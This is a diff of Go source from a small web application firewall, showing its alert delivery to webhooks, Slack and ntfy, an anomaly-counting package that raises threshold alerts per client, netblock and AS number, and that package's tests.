func (d *destination) send(ctx context.Context, alert *Alert) error {
|
||||
body, header, err := d.message(alert)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
|
||||
bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return fmt.Errorf("make the request: %w", err)
|
||||
}
|
||||
|
||||
maps.Copy(req.Header, header)
|
||||
|
||||
res, err := d.httpClient.Do(req)
|
||||
if err != nil {
|
||||
// The client's error names the URL: only what went wrong is kept.
|
||||
if urlErr, ok := errors.AsType[*url.Error](err); ok {
|
||||
return urlErr.Err
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
defer func() {
|
||||
_ = res.Body.Close()
|
||||
}()
|
||||
|
||||
// Read, so that the connection can be used again.
|
||||
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, maxAnswerBytes))
|
||||
|
||||
switch status := res.StatusCode; {
|
||||
case status >= http.StatusOK && status < http.StatusMultipleChoices:
|
||||
return nil
|
||||
case status >= http.StatusBadRequest && status < http.StatusInternalServerError &&
|
||||
status != http.StatusRequestTimeout && status != http.StatusTooManyRequests:
|
||||
return fmt.Errorf("%w %s", errRefused, res.Status)
|
||||
default:
|
||||
return fmt.Errorf("%w %s", errStatus, res.Status)
|
||||
}
|
||||
}
|
||||
|
||||
// webhookMessage returns alert as JSON, for the webhook, and the headers
|
||||
// sent with it: WebhookHeaders, and its Content-Type.
|
||||
func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||
body, err := json.Marshal(alert)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("encode the alert: %w", err)
|
||||
}
|
||||
|
||||
header := http.Header{}
|
||||
maps.Copy(header, q.params.WebhookHeaders)
|
||||
header.Set("Content-Type", "application/json")
|
||||
|
||||
return body, header, nil
|
||||
}
|
||||
|
||||
// slackMessage returns alert as a message for a Slack incoming webhook,
|
||||
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
||||
// Slack asks, so that nothing in them is read as a link or a mention.
|
||||
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||
escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace
|
||||
|
||||
body, err := json.Marshal(map[string]string{
|
||||
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("encode the message: %w", err)
|
||||
}
|
||||
|
||||
return body, http.Header{"Content-Type": {"application/json"}}, nil
|
||||
}
|
||||
|
||||
// ntfyMessage returns alert's text, as the message published to ntfy,
|
||||
// and the headers sent with it: its title, the priority and the tag of
|
||||
// its event, and NtfyToken, unless it is empty, as a bearer token.
|
||||
func (q *Queue) ntfyMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||
header := http.Header{
|
||||
"Title": {title(alert)},
|
||||
"Priority": {ntfyPriority(alert.Event)},
|
||||
"Tags": {ntfyTag(alert.Event)},
|
||||
}
|
||||
|
||||
if q.params.NtfyToken != "" {
|
||||
header.Set("Authorization", "Bearer "+q.params.NtfyToken)
|
||||
}
|
||||
|
||||
return []byte(text(alert)), header, nil
|
||||
}
|
||||
|
||||
// ntfyPriority returns the priority an alert for event is published to
|
||||
// ntfy with: high for an event the admin needs to look at.
|
||||
func ntfyPriority(event string) string {
|
||||
switch event {
|
||||
case EventPermanentBan, EventAnomaly, EventSourceFailure, EventFileError:
|
||||
return "high"
|
||||
case EventReputationHit:
|
||||
return "low"
|
||||
default: // ban, core_rule_set_match and summary
|
||||
return "default"
|
||||
}
|
||||
}
|
||||
|
||||
// ntfyTag returns the tag an alert for event is published to ntfy with,
|
||||
// which ntfy shows as an emoji.
|
||||
func ntfyTag(event string) string {
|
||||
switch event {
|
||||
case EventBan, EventPermanentBan:
|
||||
return "no_entry"
|
||||
case EventCoreRuleSetMatch:
|
||||
return "shield"
|
||||
case EventAnomaly:
|
||||
return "chart_with_upwards_trend"
|
||||
case EventReputationHit:
|
||||
return "label"
|
||||
case EventSourceFailure, EventFileError:
|
||||
return "warning"
|
||||
default: // summary
|
||||
return "bar_chart"
|
||||
}
|
||||
}
|
||||
|
||||
// title returns the title of alert in Slack and ntfy: the instance and
|
||||
// the event.
|
||||
func title(alert *Alert) string {
|
||||
return alert.Instance + ": " + alert.Event
|
||||
}
|
||||
|
||||
// text returns the text of alert in Slack and ntfy: its reason, then a
|
||||
// line for each of its host, client, netblock and country, the file,
|
||||
// source, error and mode its detail gives, and its suppressed repeats, that
|
||||
// it has.
|
||||
func text(alert *Alert) string {
|
||||
lines := []string{alert.Reason}
|
||||
|
||||
if alert.Host != "" {
|
||||
lines = append(lines, "host: "+alert.Host)
|
||||
}
|
||||
|
||||
if alert.Client.IsValid() {
|
||||
lines = append(lines, "client: "+alert.Client.String())
|
||||
}
|
||||
|
||||
if alert.Netblock.IsValid() {
|
||||
lines = append(lines, "netblock: "+alert.Netblock.String())
|
||||
}
|
||||
|
||||
if alert.Country != "" {
|
||||
lines = append(lines, "country: "+alert.Country)
|
||||
}
|
||||
|
||||
for _, name := range []string{"file", "source", "error", "mode"} {
|
||||
value, _ := alert.Detail[name].(string)
|
||||
if value != "" {
|
||||
lines = append(lines, name+": "+value)
|
||||
}
|
||||
}
|
||||
|
||||
if alert.SuppressedRepeats > 0 {
|
||||
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,16 +0,0 @@
|
||||
package alerts
|
||||
|
||||
import "net/http"
|
||||
|
||||
// QueueSize is the most alerts that wait to be sent to a destination.
|
||||
const QueueSize = queueSize
|
||||
|
||||
// SetTransport has q's requests to the destination name go through
|
||||
// transport instead of the network.
|
||||
func (q *Queue) SetTransport(name string, transport http.RoundTripper) {
|
||||
for _, d := range q.destinations {
|
||||
if d.name == name {
|
||||
d.httpClient.Transport = transport
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,411 +0,0 @@
|
||||
// Package anomaly counts requests and bytes over a minute and an hour, per
|
||||
// client, per surrounding netblock, per AS number, for the whole service
|
||||
// and per named netblock, and raises an anomaly alert for a count over its
|
||||
// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
|
||||
// describes. It refuses and bans nothing. At most 20,000 counters
|
||||
// are kept, in memory, and written to alerts.json and read from it by the
|
||||
// state package.
|
||||
package anomaly
|
||||
|
||||
import (
|
||||
"cmp"
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
)
|
||||
|
||||
// maxCounters is how many counters are kept. Past it, the counter counted
|
||||
// least recently is dropped, and starts afresh if it is counted again.
|
||||
const maxCounters = 20000
|
||||
|
||||
// The scopes, what a counter counts, as the settings, alerts.json and the
|
||||
// alerts name them.
|
||||
const (
|
||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||
// SWW_IPV6_GROUP_PREFIX.
|
||||
ScopeClient = "client"
|
||||
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||
ScopeNet = "net"
|
||||
// ScopeASN is an AS number.
|
||||
ScopeASN = "asn"
|
||||
// ScopeTotal is the whole service.
|
||||
ScopeTotal = "total"
|
||||
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||
ScopeWatchedNet = "watched_net"
|
||||
)
|
||||
|
||||
// Scopes returns every scope.
|
||||
func Scopes() []string {
|
||||
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
||||
}
|
||||
|
||||
// The windows a counter counts in, as the alerts name them.
|
||||
const (
|
||||
minute = "minute"
|
||||
hour = "hour"
|
||||
)
|
||||
|
||||
// Thresholds are the most requests and the most bytes a scope may have
|
||||
// counted in a minute and in an hour before an alert is raised. Zero is
|
||||
// off.
|
||||
type Thresholds struct {
|
||||
RequestsPerMinute int64
|
||||
RequestsPerHour int64
|
||||
BytesPerMinute int64
|
||||
BytesPerHour int64
|
||||
}
|
||||
|
||||
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||
type NamedNetblock struct {
|
||||
Name string
|
||||
Netblock netip.Prefix
|
||||
}
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||
// SWW_WATCH_*.
|
||||
Client, Net, ASN, Total, Watch Thresholds
|
||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||
NetV4Prefix, NetV6Prefix int
|
||||
// NamedNetblocks are SWW_WATCH_NETS.
|
||||
NamedNetblocks []NamedNetblock
|
||||
// Alerts receive the anomaly alerts.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// Counter is one scope's counts, as alerts.json holds them: the scope,
|
||||
// with the netblock, the AS number or the name that tells it from the
|
||||
// others in that scope, and its two buckets of requests and of bytes in
|
||||
// the minute and in the hour. A bucket whose threshold is off counts
|
||||
// nothing, and is left out.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Counter struct {
|
||||
Scope string `json:"scope"`
|
||||
Netblock netip.Prefix `json:"netblock,omitzero"`
|
||||
ASN string `json:"asn,omitempty"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Minute ratelimit.Buckets `json:"minute,omitzero"`
|
||||
Hour ratelimit.Buckets `json:"hour,omitzero"`
|
||||
MinuteBytes ratelimit.Buckets `json:"minute_bytes,omitzero"`
|
||||
HourBytes ratelimit.Buckets `json:"hour_bytes,omitzero"`
|
||||
}
|
||||
|
||||
// Request is a request that has ended, as the counters count it.
|
||||
type Request struct {
|
||||
// Host is the site the alert names, "" for none.
|
||||
Host string
|
||||
// Client is the client's address, and ClientGroup the client it is
|
||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||
Client netip.Addr
|
||||
ClientGroup netip.Prefix
|
||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||
// unknown.
|
||||
ASN, ASName, Country string
|
||||
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||
Bytes int64
|
||||
}
|
||||
|
||||
// Counters counts each request in the scopes it is in. It is safe for
|
||||
// concurrent use.
|
||||
type Counters struct {
|
||||
params Params
|
||||
|
||||
mu sync.Mutex
|
||||
counters *simplelru.LRU[key, *Counter]
|
||||
}
|
||||
|
||||
// key is what tells a counter from the others: its scope, with its
|
||||
// netblock, AS number or name.
|
||||
type key struct {
|
||||
scope string
|
||||
netblock netip.Prefix
|
||||
asn string
|
||||
name string
|
||||
}
|
||||
|
||||
// New returns Counters for params, with nothing counted yet.
|
||||
func New(params Params) *Counters {
|
||||
counters, err := simplelru.NewLRU[key, *Counter](maxCounters, nil)
|
||||
if err != nil {
|
||||
panic(err) // NewLRU fails only for a size below one
|
||||
}
|
||||
|
||||
return &Counters{params: params, counters: counters}
|
||||
}
|
||||
|
||||
// Count counts r, a request that has ended, at now, in each scope it is
|
||||
// in whose thresholds are not all off: its client, the netblock around
|
||||
// it, its AS number once known, the whole service, and each named
|
||||
// netblock it is in. Only the counts whose threshold is set are counted.
|
||||
// For each scope whose count is over a threshold, it raises an anomaly
|
||||
// alert, for the first such count in the order requests and bytes in the
|
||||
// minute, then in the hour; the alert queue's cooldown holds back the
|
||||
// repeats. Nothing is refused or banned.
|
||||
func (c *Counters) Count(now time.Time, r Request) {
|
||||
var raised []alerts.Alert
|
||||
|
||||
c.mu.Lock()
|
||||
|
||||
for _, scope := range c.scopesOf(r) {
|
||||
counter, found := c.counters.Get(scope.key)
|
||||
if !found {
|
||||
counter = scope.key.counter()
|
||||
c.counters.Add(scope.key, counter)
|
||||
}
|
||||
|
||||
over, passed := counter.add(now, r.Bytes, scope.thresholds)
|
||||
if passed {
|
||||
raised = append(raised, alertFor(r, scope.key, over))
|
||||
}
|
||||
}
|
||||
|
||||
c.mu.Unlock()
|
||||
|
||||
for _, alert := range raised {
|
||||
c.params.Alerts.Raise(alert)
|
||||
}
|
||||
}
|
||||
|
||||
// Snapshot returns every counter, sorted by scope, then by netblock, AS
|
||||
// number and name, as alerts.json lists them.
|
||||
func (c *Counters) Snapshot() []Counter {
|
||||
c.mu.Lock()
|
||||
|
||||
counters := make([]Counter, 0, c.counters.Len())
|
||||
for _, counter := range c.counters.Values() {
|
||||
counters = append(counters, *counter)
|
||||
}
|
||||
|
||||
c.mu.Unlock()
|
||||
|
||||
slices.SortFunc(counters, func(a, b Counter) int {
|
||||
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
|
||||
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
|
||||
})
|
||||
|
||||
return counters
|
||||
}
|
||||
|
||||
// Load puts counters, read from alerts.json, in place of those held, in
|
||||
// the order they were last counted, as the starts of their buckets tell,
|
||||
// so that the one counted least recently is dropped first. Each netblock
|
||||
// is masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24.
|
||||
// Buckets whose time has passed at now are emptied, and a counter left
|
||||
// with every bucket empty is dropped.
|
||||
func (c *Counters) Load(counters []Counter, now time.Time) {
|
||||
counters = slices.Clone(counters)
|
||||
slices.SortStableFunc(counters, func(a, b Counter) int {
|
||||
return a.lastStart().Compare(b.lastStart())
|
||||
})
|
||||
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
c.counters.Purge()
|
||||
|
||||
for _, counter := range counters {
|
||||
counter.Netblock = counter.Netblock.Masked()
|
||||
empty := true
|
||||
|
||||
for _, count := range counter.counts() {
|
||||
if count.buckets.Passed(now, count.length) {
|
||||
*count.buckets = ratelimit.Buckets{}
|
||||
}
|
||||
|
||||
empty = empty && *count.buckets == ratelimit.Buckets{}
|
||||
}
|
||||
|
||||
if !empty {
|
||||
c.counters.Add(counter.key(), &counter)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// scope is a scope a request is counted in, and its thresholds.
|
||||
type scope struct {
|
||||
key key
|
||||
thresholds Thresholds
|
||||
}
|
||||
|
||||
// scopesOf returns the scopes r is in whose thresholds are not all off.
|
||||
func (c *Counters) scopesOf(r Request) []scope {
|
||||
p := c.params
|
||||
client := r.Client.Unmap()
|
||||
|
||||
all := []scope{
|
||||
{key{scope: ScopeClient, netblock: r.ClientGroup}, p.Client},
|
||||
{key{scope: ScopeNet, netblock: c.netAround(client)}, p.Net},
|
||||
{key{scope: ScopeTotal}, p.Total},
|
||||
}
|
||||
|
||||
if r.ASN != "" {
|
||||
all = append(all, scope{key{scope: ScopeASN, asn: r.ASN}, p.ASN})
|
||||
}
|
||||
|
||||
for _, named := range p.NamedNetblocks {
|
||||
if named.Netblock.Contains(client) {
|
||||
all = append(all, scope{
|
||||
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return slices.DeleteFunc(all, func(s scope) bool {
|
||||
return s.thresholds == Thresholds{}
|
||||
})
|
||||
}
|
||||
|
||||
// netAround returns the netblock around client that ScopeNet counts it
|
||||
// in: NetV4Prefix or NetV6Prefix long.
|
||||
func (c *Counters) netAround(client netip.Addr) netip.Prefix {
|
||||
length := c.params.NetV6Prefix
|
||||
if client.Is4() {
|
||||
length = c.params.NetV4Prefix
|
||||
}
|
||||
|
||||
return netip.PrefixFrom(client, length).Masked()
|
||||
}
|
||||
|
||||
// overThreshold is a count over its threshold: what it counts, requests or
|
||||
// bytes, its window, the count and the threshold.
|
||||
type overThreshold struct {
|
||||
kind, window string
|
||||
count float64
|
||||
threshold int64
|
||||
}
|
||||
|
||||
// add counts a request of bytes at now in each of c's counts whose
|
||||
// threshold, in thresholds, is set, and returns the first count over its
|
||||
// threshold, and whether there is one.
|
||||
func (c *Counter) add(
|
||||
now time.Time, bytes int64, thresholds Thresholds,
|
||||
) (overThreshold, bool) {
|
||||
// In the order of counts.
|
||||
inOrder := [4]int64{
|
||||
thresholds.RequestsPerMinute, thresholds.BytesPerMinute,
|
||||
thresholds.RequestsPerHour, thresholds.BytesPerHour,
|
||||
}
|
||||
|
||||
var (
|
||||
first overThreshold
|
||||
passed bool
|
||||
)
|
||||
|
||||
for i, count := range c.counts() {
|
||||
threshold := inOrder[i]
|
||||
if threshold == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
n := int64(1)
|
||||
if count.kind == ratelimit.KindBytes {
|
||||
n = bytes
|
||||
}
|
||||
|
||||
counted := count.buckets.Add(now, count.length, n)
|
||||
if !passed && counted > float64(threshold) {
|
||||
first = overThreshold{count.kind, count.window, counted, threshold}
|
||||
passed = true
|
||||
}
|
||||
}
|
||||
|
||||
return first, passed
|
||||
}
|
||||
|
||||
// bucketCount is one of a counter's four counts: requests or bytes, in a
|
||||
// window of length, and the buckets they are counted in.
|
||||
type bucketCount struct {
|
||||
kind, window string
|
||||
length time.Duration
|
||||
buckets *ratelimit.Buckets
|
||||
}
|
||||
|
||||
// counts returns c's counts: requests and bytes in the minute, then in
|
||||
// the hour.
|
||||
func (c *Counter) counts() [4]bucketCount {
|
||||
return [4]bucketCount{
|
||||
{ratelimit.KindRequests, minute, time.Minute, &c.Minute},
|
||||
{ratelimit.KindBytes, minute, time.Minute, &c.MinuteBytes},
|
||||
{ratelimit.KindRequests, hour, time.Hour, &c.Hour},
|
||||
{ratelimit.KindBytes, hour, time.Hour, &c.HourBytes},
|
||||
}
|
||||
}
|
||||
|
||||
// lastStart returns the start of c's latest bucket, which tells, to the
|
||||
// minute or to the hour, when c was last counted.
|
||||
func (c *Counter) lastStart() time.Time {
|
||||
var latest time.Time
|
||||
|
||||
for _, count := range c.counts() {
|
||||
if count.buckets.Start.After(latest) {
|
||||
latest = count.buckets.Start
|
||||
}
|
||||
}
|
||||
|
||||
return latest
|
||||
}
|
||||
|
||||
// key returns what tells c from the other counters.
|
||||
func (c *Counter) key() key {
|
||||
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
|
||||
}
|
||||
|
||||
// counter returns a counter for k, with nothing counted yet.
|
||||
func (k key) counter() *Counter {
|
||||
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
|
||||
}
|
||||
|
||||
// alertFor returns the anomaly alert for o, a count over its threshold in
|
||||
// the scope k, which r took over it. It gives r's client, with its AS
|
||||
// number, AS name and country, and the netblock counted, of a client, the
|
||||
// netblock around it or a named netblock. Its detail gives the scope, the
|
||||
// AS number or the name of a scope that has one, the window, what is
|
||||
// counted, the count and the threshold.
|
||||
func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
||||
detail := map[string]any{
|
||||
"scope": k.scope, "window": o.window, "kind": o.kind, "count": o.count,
|
||||
"threshold": o.threshold,
|
||||
}
|
||||
|
||||
var counted string
|
||||
|
||||
switch k.scope {
|
||||
case ScopeClient:
|
||||
counted = "the client " + k.netblock.String()
|
||||
case ScopeNet:
|
||||
counted = "the netblock " + k.netblock.String()
|
||||
case ScopeASN:
|
||||
counted = k.asn
|
||||
detail["asn"] = k.asn
|
||||
case ScopeTotal:
|
||||
counted = "the whole service"
|
||||
default: // watched_net
|
||||
counted = "the named netblock " + k.name + ", " + k.netblock.String()
|
||||
detail["name"] = k.name
|
||||
}
|
||||
|
||||
return alerts.Alert{
|
||||
Event: alerts.EventAnomaly,
|
||||
Host: r.Host,
|
||||
Client: r.Client,
|
||||
Netblock: k.netblock,
|
||||
ASN: r.ASN,
|
||||
ASName: r.ASName,
|
||||
Country: r.Country,
|
||||
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
|
||||
counted, o.threshold),
|
||||
Detail: detail,
|
||||
}
|
||||
}
|
||||
@@ -1,238 +0,0 @@
|
||||
package anomaly_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"reflect"
|
||||
"slices"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
)
|
||||
|
||||
// maxCounters is how many counters are kept.
|
||||
const maxCounters = 20000
|
||||
|
||||
func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
queue := newQueue()
|
||||
office := netip.MustParsePrefix("203.0.113.0/24")
|
||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||
counters := anomaly.New(anomaly.Params{
|
||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||
Total: overAtTheSecond, Watch: overAtTheSecond,
|
||||
// The netblock around a client is the client's own, and two names
|
||||
// name one netblock.
|
||||
NetV4Prefix: 32,
|
||||
NamedNetblocks: []anomaly.NamedNetblock{
|
||||
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
|
||||
},
|
||||
Alerts: queue,
|
||||
})
|
||||
|
||||
// The first client's second request is over the threshold in the six
|
||||
// scopes it is in. The other client's two are both over it in the whole
|
||||
// service and in each named netblock, three repeats each, and its
|
||||
// second is over it in the scopes of its own, its client, its netblock
|
||||
// and its AS number, which are no repeats.
|
||||
for _, r := range []anomaly.Request{
|
||||
{Client: netip.MustParseAddr("203.0.113.9"), ASN: "AS64496"},
|
||||
{Client: netip.MustParseAddr("203.0.113.10"), ASN: "AS64511"},
|
||||
} {
|
||||
r.ClientGroup = netip.PrefixFrom(r.Client, 32)
|
||||
|
||||
for range 2 {
|
||||
counters.Count(midnight(), r)
|
||||
}
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 9 || queue.Suppressed() != 6 {
|
||||
t.Fatalf("%d alerts wait and %d are held back, want 9 and 6: %+v",
|
||||
len(waiting), queue.Suppressed(), waiting)
|
||||
}
|
||||
|
||||
// alerts.json keeps each scope's cooldown: each alert raised again
|
||||
// after a restart is a repeat.
|
||||
data, err := json.Marshal(queue.Snapshot())
|
||||
if err != nil {
|
||||
t.Fatalf("encode: %v", err)
|
||||
}
|
||||
|
||||
var read alerts.State
|
||||
|
||||
err = json.Unmarshal(data, &read)
|
||||
if err != nil {
|
||||
t.Fatalf("decode: %v", err)
|
||||
}
|
||||
|
||||
after := newQueue()
|
||||
after.Load(read)
|
||||
|
||||
for _, alert := range read.Waiting[alerts.DestinationWebhook] {
|
||||
after.Raise(alert)
|
||||
}
|
||||
|
||||
if after.Suppressed() != 9 {
|
||||
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
|
||||
}
|
||||
}
|
||||
|
||||
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
counters := newCounters(anomaly.Params{
|
||||
Client: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||
})
|
||||
|
||||
for i := range maxCounters {
|
||||
counters.Count(midnight(), request(i))
|
||||
}
|
||||
|
||||
// Counted again, the first client is the most recently counted, and
|
||||
// the second is dropped for a new one.
|
||||
counters.Count(midnight(), request(0))
|
||||
counters.Count(midnight(), request(maxCounters))
|
||||
|
||||
got := counters.Snapshot()
|
||||
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
||||
!holds(got, maxCounters) {
|
||||
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
|
||||
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
|
||||
holds(got, 1), holds(got, maxCounters), maxCounters)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
counters := newCounters(anomaly.Params{
|
||||
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
|
||||
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||
NetV4Prefix: 24,
|
||||
})
|
||||
halfAnHourOn := midnight().Add(30 * time.Minute)
|
||||
|
||||
// Half an hour on, the hour's buckets count still, and the minute's
|
||||
// do not.
|
||||
counters.Load([]anomaly.Counter{
|
||||
{
|
||||
Scope: anomaly.ScopeNet,
|
||||
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
|
||||
Minute: ratelimit.Buckets{Start: midnight(), Current: 5},
|
||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||
},
|
||||
{
|
||||
Scope: anomaly.ScopeTotal,
|
||||
Minute: ratelimit.Buckets{Start: midnight(), Current: 1},
|
||||
},
|
||||
}, halfAnHourOn)
|
||||
|
||||
// The whole service's counter, left empty, is dropped, and the
|
||||
// netblock read is masked to its length.
|
||||
netblock := anomaly.Counter{
|
||||
Scope: anomaly.ScopeNet,
|
||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||
}
|
||||
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
||||
got, want) {
|
||||
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
// A request from the netblock is counted with the requests read.
|
||||
counters.Count(halfAnHourOn, anomaly.Request{
|
||||
Client: netip.MustParseAddr("203.0.113.9"),
|
||||
ClientGroup: netip.MustParsePrefix("203.0.113.9/32"),
|
||||
})
|
||||
|
||||
netblock.Minute = ratelimit.Buckets{Start: halfAnHourOn, Current: 1}
|
||||
netblock.Hour.Current = 8
|
||||
want := []anomaly.Counter{netblock, {
|
||||
Scope: anomaly.ScopeTotal,
|
||||
Minute: ratelimit.Buckets{Start: halfAnHourOn, Current: 1},
|
||||
}}
|
||||
|
||||
if got := counters.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("counters after a request\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
counters := newCounters(anomaly.Params{
|
||||
Client: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||
})
|
||||
now := midnight().Add(time.Minute)
|
||||
|
||||
// The second half of the file was counted in the minute before the
|
||||
// first half.
|
||||
read := make([]anomaly.Counter, 0, maxCounters)
|
||||
for i := range maxCounters {
|
||||
start := now
|
||||
if i >= maxCounters/2 {
|
||||
start = midnight()
|
||||
}
|
||||
|
||||
read = append(read, anomaly.Counter{
|
||||
Scope: anomaly.ScopeClient, Netblock: request(i).ClientGroup,
|
||||
Minute: ratelimit.Buckets{Start: start, Current: 1},
|
||||
})
|
||||
}
|
||||
|
||||
counters.Load(read, now)
|
||||
counters.Count(now, request(maxCounters))
|
||||
|
||||
got := counters.Snapshot()
|
||||
if !holds(got, 0) || holds(got, maxCounters/2) {
|
||||
t.Errorf("holding the first client of the file %v, and the first counted in "+
|
||||
"the minute before %v, want only the first", holds(got, 0),
|
||||
holds(got, maxCounters/2))
|
||||
}
|
||||
}
|
||||
|
||||
// midnight is the time of the tests' requests.
|
||||
func midnight() time.Time {
|
||||
return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||
}
|
||||
|
||||
// newCounters returns Counters for params, whose alerts go nowhere.
|
||||
func newCounters(params anomaly.Params) *anomaly.Counters {
|
||||
params.Alerts = alerts.New(alerts.Params{})
|
||||
|
||||
return anomaly.New(params)
|
||||
}
|
||||
|
||||
// newQueue returns a queue of alerts to a webhook, with the default
|
||||
// cooldown, which keeps them waiting, since it is never run.
|
||||
func newQueue() *alerts.Queue {
|
||||
return alerts.New(alerts.Params{
|
||||
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
|
||||
Events: alerts.Events(),
|
||||
Cooldown: 15 * time.Minute,
|
||||
MaxPerHour: 60,
|
||||
Now: midnight,
|
||||
})
|
||||
}
|
||||
|
||||
// request returns a request from client number i, an address in
|
||||
// 10.0.0.0/8.
|
||||
func request(i int) anomaly.Request {
|
||||
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
||||
|
||||
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
|
||||
}
|
||||
|
||||
// holds reports whether counters hold the counter of client number i.
|
||||
func holds(counters []anomaly.Counter, i int) bool {
|
||||
return slices.ContainsFunc(counters, func(counter anomaly.Counter) bool {
|
||||
return counter.Netblock == request(i).ClientGroup
|
||||
})
|
||||
}
|
||||
@@ -1,388 +0,0 @@
|
||||
package bans_test
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
